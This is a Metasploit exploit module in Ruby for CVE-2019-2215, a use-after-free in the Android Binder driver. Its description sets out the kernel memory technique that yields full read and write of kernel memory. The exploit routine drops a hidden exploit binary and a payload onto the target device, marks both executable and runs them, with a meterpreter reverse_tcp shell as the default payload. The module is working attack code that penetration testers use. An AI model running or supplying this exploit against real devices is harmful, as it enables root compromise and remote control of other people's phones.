bcoles
92 lines
3.4 KiB
Ruby
92 lines
3.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Post::Common
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Android Binder Use-After-Free Exploit',
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'Description' => %q{
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This module exploits CVE-2019-2215, which is a use-after-free in Binder in the
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Android kernel. The bug is a local privilege escalation vulnerability that
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allows for a full compromise of a vulnerable device. If chained with a browser
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renderer exploit, this bug could fully compromise a device through a malicious
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website.
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The freed memory is replaced with an iovec structure in order to leak a pointer
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to the task_struct. Finally the bug is triggered again in order to overwrite
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the addr_limit, making all memory (including kernel memory) accessible as part
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of the user-space memory range in our process and allowing arbitrary reading
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and writing of kernel memory.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Jann Horn', # discovery and exploit
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'Maddie Stone', # discovery and exploit
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'grant-h', # Qu1ckR00t
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'timwr', # metasploit module
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],
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'References' => [
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[ 'CVE', '2019-2215' ],
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[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1942' ],
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[ 'URL', 'https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html' ],
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[ 'URL', 'https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/' ],
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[ 'URL', 'https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c' ],
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],
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'DisclosureDate' => '2019-09-26',
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'SessionTypes' => [ 'meterpreter' ],
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'Platform' => [ 'android', 'linux' ],
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'Arch' => [ ARCH_AARCH64 ],
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'Targets' => [[ 'Auto', {} ]],
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'DefaultOptions' => {
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'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',
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'WfsDelay' => 5
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},
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'DefaultTarget' => 0,
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'Compat' => {
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'Meterpreter' => {
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'Commands' => %w[
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stdapi_fs_getwd
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]
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}
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},
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'Notes' => {
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'SideEffects' => [ ARTIFACTS_ON_DISK ],
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'Reliability' => [ UNRELIABLE_SESSION ],
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'Stability' => [ CRASH_SAFE ]
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}
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)
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)
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end
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def upload_and_chmodx(path, data)
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write_file(path, data)
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chmod(path)
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register_file_for_cleanup(path)
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end
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def exploit
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local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-2215', 'exploit')
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exploit_data = File.read(local_file, mode: 'rb')
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workingdir = session.fs.dir.getwd
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exploit_file = "#{workingdir}/.#{Rex::Text.rand_text_alpha_lower(5)}"
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upload_and_chmodx(exploit_file, exploit_data)
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payload_file = "#{workingdir}/.#{Rex::Text.rand_text_alpha_lower(5)}"
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upload_and_chmodx(payload_file, generate_payload_exe)
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print_status("Executing exploit '#{exploit_file}'")
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result = cmd_exec("echo '#{payload_file} &' | #{exploit_file}")
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print_status("Exploit result:\n#{result}")
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end
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end
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